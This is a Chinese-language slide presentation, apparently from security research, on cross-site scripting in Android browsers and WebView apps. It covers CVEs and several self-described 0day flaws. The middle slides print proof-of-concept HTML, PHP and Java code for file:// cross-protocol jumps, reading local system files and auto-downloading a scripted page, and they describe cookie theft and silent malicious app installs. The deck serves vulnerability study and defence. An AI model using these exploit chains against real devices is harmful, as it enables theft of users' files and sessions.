360 likes | 569 Views
XSS on Android. 陈爱华. XSS on Android. 1、关于XSS 2、XSS on Desktop 3、XSS on Android Vs. XSS on Desktop 4、XSS on Android 5、下一步工作. XSS——Cross Site Scripting. XSS漏洞: 由于Web应用程序没有充分过滤用户输入内容,或者浏览器没有充分过滤页面输出内容,导致的应用层安全漏洞。攻击者利用XSS漏洞能访问受害者的敏感信息。 跨站: “站” XSS攻击三个步骤: 1、用户访问的访问的网站是一个存在XSS漏洞的网站。
E N D
XSS on Android 陈爱华
XSS on Android • 1、关于XSS • 2、XSS on Desktop • 3、XSS on Android Vs. XSS on Desktop • 4、XSS on Android • 5、下一步工作
XSS——Cross Site Scripting • XSS漏洞:由于Web应用程序没有充分过滤用户输入内容,或者浏览器没有充分过滤页面输出内容,导致的应用层安全漏洞。攻击者利用XSS漏洞能访问受害者的敏感信息。 • 跨站:“站” • XSS攻击三个步骤: • 1、用户访问的访问的网站是一个存在XSS漏洞的网站。 • 2、攻击者发现该网站的XSS漏洞,向其中注入恶意代码,并诱导用户点击访问。 • 3、用户访问了注入恶意代码的Web页面,恶意脚本在用户的浏览环境中执行,攻击者的攻击目的达到。 • 漏洞利用:获取执行权限+执行恶意脚本。 • 有HTML、JavaScript的地方就可能有XSS。
XSS——Cross Site Scripting • 攻击者利用XSS漏洞劫持已通过验证的会话。劫持到已验证的会话后,攻击则拥有该授权用户的所有权限。 • 反射型XSS的攻击步骤:
XSS on Desktop——检测、防御 • 服务端:漏洞扫描、代码审计等。 • 客户端:浏览器的安全机制、浏览器代码过滤器、反病毒软件等。 • 客户端-服务端协作的方法。 • 我们的研究对象:客户端浏览器上的检测、过滤机制。
XSS filter in browser 以IE、Firefox、Chrome为例: • IE8:内置了一款无法卸载的Xss Filter,能够反射型跨站脚本攻击做比较好的防护。http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx • Firefox :NoScript,是一个免费、开源的,为 Mozilla Firefox所开发的 扩展(Add-ons)。NoScript 以白名单选择性执行 JavaScript、Java、Flash、Sliverlight 以及其它插件和脚本内容。 • Chrome: XSSAutior。 • PC浏览器端的XSS过滤机制相对饱满,相应的XSS过滤器已经形成产品并被广泛使用。但随着移动互联网的普及,以及Android应用的日益广泛,Android上的XSS防御处于未知状态,因此研究XSS on Android。.
XSS on Android Vs.XSS on Desktop • 相同之处: 都要执行html\js代码,所以都有存在XSS漏洞的可能。 • 不同之处: 1、SNS的Android App广泛使用,在一定程度上淡化了浏览器的使用。 2、App中会引入html\js代码,可能存在XSS。 3、Android移动浏览器均是新开发的,安全机制尚不完善。 4、移动设备涉及更多的个人隐私信息。 • 因此,研究XSS on Android尤为重要。
XSS on Android • 1、威胁 • 2、检测
XSS on Android——威胁 CVE :介绍CVE四个相关漏洞 未提交: GoogleMarket漏洞 浏览器Webkit漏洞 客户端App漏洞(通过WebView控件引入html、js导致) 其他:开发环境漏洞及利用
XSS on Android——威胁 • CVE:英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。 • CVE就好比一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称和漏洞编号。使用漏洞名称和编号,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据。这样就使得CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
XSS on Android——威胁 • CVE四个相关漏洞: • CVE-2012-0767,CVE-2011-2107:Windows、Mac OS X、Linux、Android2.x、Android3.x中FlashPlayer的漏洞,允许远程攻击者通过攻击向量向web叶面中注入html\js代码。 • CVE-2011-2444:Windows、Mac OS X、Linux、Android2.x、Android3.x中FlashPlayer的漏洞,允许远程攻击者通过向精心构造的URL中注入Web脚本或html. • CVE-2011-2357:Android中Intents机制的漏洞,导致JS代码可以跨域在当前浏览器环境中执行。
XSS on Android——威胁 • CVE-2011-2357:2011年6月发现,并报告谷歌,2011年7月发布补丁。 • 影响版本:Android 2.3.4、Android3.1。 • 产生原因:利用Android浏览器中Intents处理机制的漏洞,导致可执行的JS代码能够窃取浏览器保存的cookie等隐私信息,使手机任意下载恶意应用。
XSS on Android——威胁 • CVE-2011-2357漏洞详情:Intents • Intents:android应用程序的三大组件——Activities、Services、Broadcast Receiver,通过Intents消息触发。 • Intents分为显式Intents(Explicit)和隐式Intents(Implicit)两类。 • 显式Intents:通过名字指定目标组件。因为开发者通常不知道其它应用程序的组件名字,显式intent通常用于应用程序内部消息,如一个活动启动从属的服务。 • 隐式Intenst:并不指定目标的名字(组件名字字段是空的)。隐式intent经常用于激活其它应用程序中的组件。 • 详细信息:http://www.cnblogs.com/skynet/archive/2010/07/20/1781644.html
XSS on Android——威胁 • CVE-2011-2357漏洞详情:Intents • 对于Activities、Services、Broadcast Receiver这三大组件,均有独立的传送intent的机制: • Activity:一个intent对象传递给Context.startActivity()或Activity.startActivityForRestult()去启动一个活动或使一个已存在的活动去做新的事情。 • Service:一个intent对象传递给Context.startService()去初始化一个service或传递一个新的指令给正在运行的service。类似的,一个intent可以传递给Context.bindService()去建立调用组件和目标服务之间的连接。 • Broadcast Receiver:一个intent对象传递给任何广播方法(如Context.sendBroadcast(),Context.sendOrderedBroadcast(),Context.sendStickyBroadcast()),都将传递到所有感兴趣的广播接收者。 • 在每种情况下,Android系统查找合适的activity、service、broadcast receivers来响应意图
XSS on Android——威胁 • 攻击模型: a、用户安装恶意应用。 b、 用户的浏览器存储cookie等登陆信息。 c、Android 自带的基于Webkit的浏览器是http:/https:、javascript:VIEW Intents的默认接收者。
XSS on Android——威胁 • CVE-2011-2357漏洞: • 浏览器接收来自VIEW Intents的基于http:/https:/javascript:的操作,可以加载页面、执行JS代码: • 1、当浏览器接收查看http:/https: URI的Intent时,会打开新的浏览器窗口并加载页面。 • 2、但当浏览器接收javascript: URI时,浏览器不会打开新的浏览器窗口,而是在当前活动窗口中执行JS代码. • 因此,JS的可执行代码能够在刚加载的页面中执行,导致XSS漏洞。
XSS on Android——威胁 • CVE-2011-2357漏洞利用: • 代码截图: 在https://market.android.com中会打印浏览器的cookie信息。
XSS on Android——威胁 • CVE-2011-2357漏洞危害:危害严重,利用简单。 • 1、http:/https:/javascript:URIs的Intents执行过程不需要任何权限。android.permission.Internet都不需要。 • 2、利用JS代码,攻击者可以窃取浏览器的cookie信息以及会话id。 • 3、利用https://market.android.com攻击者能够在用户的手机上安装任意应用程序。 • 4、即使Android Market使用token,攻击者也能够利用JS读取token,然后向Android Market服务端应用程序安装请求。
XSS on Android——威胁 • Google market本地存储型漏洞: • 利用https://market.android.com页面对提交的app描述内容的过滤不严格导致的google market本地存储型XSS漏洞,可以直接通过js实现在手机上自动下载安装恶意apk • 截图如下:
XSS on Android——威胁 • 浏览器的跨域漏洞: • 对于PC平台上的经验来看,浏览器的跨域漏洞主要表现为2种类型: • i、http协议之间的跨域。主要体现在不利用应用程序xss漏洞的情况下,利用浏览器本身处理javascript方面的漏洞实现跨站之间的数据读取等。 • ii、通过http协议跨其他浏览器的伪协议。如http://-->file:// http://-->about:等浏览器支持的伪协议。对于这类漏洞利用存在有2个必要条件: • a、http://可以调用目标伪协议(如http://调用file://在很多浏览器是被禁止或者受限制的)。 • b、目标协议可以执行注入的javasript(如实现协议本身的存在xss漏洞,或者对于 file://来说我们可以写入任意html文件到本地然后调用)。 主要分析ii种情况。
XSS on Android——威胁 • 条件:a、http://-->file: • [0day-NO.1]、android-webkit跨协议漏洞: • android-webkit在处理转跳时存在漏洞,导致允许从http协议跨越其他的协议如file://协议,实现跨域漏洞。POC如下: • <iframe name=f src="location.php" ></iframe> • <script> • function init(){ • f.location = "file:///default.prop"; • } • setTimeout(init,5000) • </script> • location.php代码如下: • <?php • header("Location:file:///gesong.org"); • ?> • 上面的代码实现了从http://到file://的跨越[android 4.0上已经不存在该漏洞]。
XSS on Android——威胁 • 条件: b、目标协议可以执行注入的javasript(如实现协议本身的存在xss漏洞,或者对于 file://来说我们可以写入任意html文件到本地然后调用) • [0day-NO.2]、android-webkit的file://协议xss漏洞: • android-webkit在实现file://打开不存在的文件给出的提示对文件路径缺少过滤导致xss漏洞。 • POC如下: • 地址访问file:///gesong.org/<script>alert(1);</script> • 插入的代码<script>alert(1);</script>将被执行。 • 该漏洞只存在于: 1.6<android<4.0 。
XSS on Android——威胁 • 条件: b、自动下载文件 • [0day-NO.3]、android-browser和firefox自动下载文件漏洞: • adroid系统自带的浏览器com.android.browser在处理Content-Disposition: attachment的时候,UI设计存在漏洞,导致可以自动下载文件到固定的本地目录。POC如下: • <? • //autodown.php • header("Content-Disposition: attachment:filename=autodown.htm"); • $data=<<<android_xss_go • <script>alert(/xss/);</script> • android_xss_go; • print $data; • ?> • 在上面的代码在不同的版本的android系统上是不一样的: • android 1.x 自动下载保存文件名为:/sdcard/download/autodown.html • android 2.x-3.x 自动下载保存文件名为:/sdcard/download/autodown.htm • android 4.0 自动下载保存文件名为:/sdcard/download/autodown.php • firefox 自动下载保存文件名为:/sdcard/download/autodown.php
XSS on Android——威胁 • 浏览器webkit跨域漏洞利用: • //[0day-NO.1]+[0day-NO.2] • <iframe name=f src="location.php" ></iframe> • <script> • function init(){ • f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/"; • } • setTimeout(init,5000) • </script> • POC[2]: • //[0day-NO.1]+[0day-NO.3] • <meta http-equiv=“refresh” content=“0;URL=autodown.php”/> • <iframe name=f src=”location.php“></iframe> • <script> • function init(){ • f.location = "file:///sdcard/Download/autodown.htm"; • } • setTimeout(init,5000) • </script>
XSS on Android——威胁 • 通过以上跨域漏洞可以实现: • 1、跨域http。 • 2、跨越market.android.com实现自动下载安装恶意apk。 • 3、挖掘本地文件。处在file://域下,在webkit里可以通过xmlhttp读取本地文件,获取有价值的信息。
XSS on Android——威胁 • 应用程序(apk)漏洞: • 在Android系统中,浏览器本质上是一个应用程序,只是浏览器本身存在的原因就是处理html/js等元素。由于google采用的应用程序化的机制,直接削弱了浏览器的使用。各大SNS的网络都推出了基于apk的应用程序客服端,所以还需关注应用程序里的xss。
XSS on Android——威胁 • android应用开发里要引用html/js的方法目前比较常用就的是调用webview控件来实现 • webview控件在load网页时有3种方式: • (1)、webview.loadUrl(url); • (2)、webview.loadData(data, "text/html", "utf-8"); • (3)、webview.loadDataWithBaseURL(baseUrl, data, "text/html", "utf-8", null); • 另外webview默认是不支持js的,要支持js还必须webSetting进行设置:webSetting.setJavaScriptEnabled(true);
XSS on Android——威胁 • (1)、webview.loadUrl(url);对于这种方式,js执行的domain取决于url的domain。 • 此时这个webview就相当于一个基于android-webkit的第三方外壳浏览器,因此url也可以是file://和javascript:等伪协议。 • 该方式存在的xss漏洞,严重程度完全取决于参数url。如果在应用程序里这个url可以控制,那么我们可以直接指定它到file://那么所有的攻击又回到了浏览器里跨域的利用方式了。当然,当只可以在http://下时上面提到的android-webkit的漏洞都是一样的。
XSS on Android——威胁 • (2)、webview.loadData(data, "text/html", "utf-8"); • 这种调用方式就相当于在浏览器里使用"data:text/html;<html>"伪协议。 • 及时在应用程序里可以控制第一个参数data导致xss漏洞,那它执行的js的域也是在空白域,如果不使用webkit的漏洞,基本上是没有太多办法跨域的。 • 因此目前这种类型的xss基本就只有靠webkit的漏洞的来实现跨域。
XSS on Android——威胁 • (3)、webview.loadDataWithBaseURL(baseUrl, data, "text/html", "utf-8", null); • 相比上面2个函数,这个函数可以控制Url及执行的data。那么这样的方式导致的xss漏洞,执行域也取决于baseUrl,这个相比(1)里的url来说,它可以是其他随意的“域” 如: • webview.loadDataWithBaseURL(“aaa”, data, "text/html", "utf-8", null); • 那么他执行的js就是在"aaa"域下。对于这样的方式好像也没有太多的利用,不过这个方式可以通过转跳到任意域包括file://。
XSS on Android——威胁 • [0day-NO.4]、webview.loadDataWithBaseURL()跨协议漏洞 • webview.loadDataWithBaseURL()在可以控制第2个参数的情况下,可以通过js转跳来跨越其他的协议如file://协议,导致跨域漏洞: • WebView webview; • webview = (WebView) findViewById(R.id.webview); • webview.getSettings().setJavaScriptEnabled(true); • webview.setWebChromeClient(new WebChromeClient()); • String data="80vul<script>window.location='file://///default.prop';</script>"; • webview.loadDataWithBaseURL("http://www.baidu.com/", data, "text/html", "utf-8", null); • 所以在实际apk可以通过loadDataWithBaseURL导致xss的利用。
XSS on Android——威胁 其他:开发环境漏洞及利用。 Eclipse的浏览器在windows下直接调用IE内核来实现的,而在非windows下使用的是WEBKit核心的浏览器。 对于这样的简陋的浏览器安全防御薄弱。具体在Eclipse里,有个致命的问题那就是,当开发者点击html文件时,默认情况下,它调用的不是编辑界面,而是浏览器里运行! 而且是没有任何安全提示下通过file://伪协议下执行html文件里的javascript代码,这意味着一个“跨域”漏洞可能....
XSS on Android——威胁 • 总结: • 因为一般的SNS的apk应用都是采用网络api的方式验证登录的,所以传统的得到cookie的方式基本上没有什么意义!对于在http://下跨域非常有限。 • 所以Android上的XSS漏洞大体上利用如下: • 1、利用googleplay的漏洞,下载恶意应用。 • 2、利用Android中处理http、https、javascript机制的缺陷,执行恶意脚本。 • 3、利用webkit的漏洞实现跨file://伪协议。 • 4、利用webview引入html\js的函数实现跨域。 • 研究Android中webkit的工作机制是核心。
下一步工作 • 1、Android中webkit的详细工作流程。 • 2、Android的内嵌浏览器以及其他移动浏览器中对XSS的防御机制。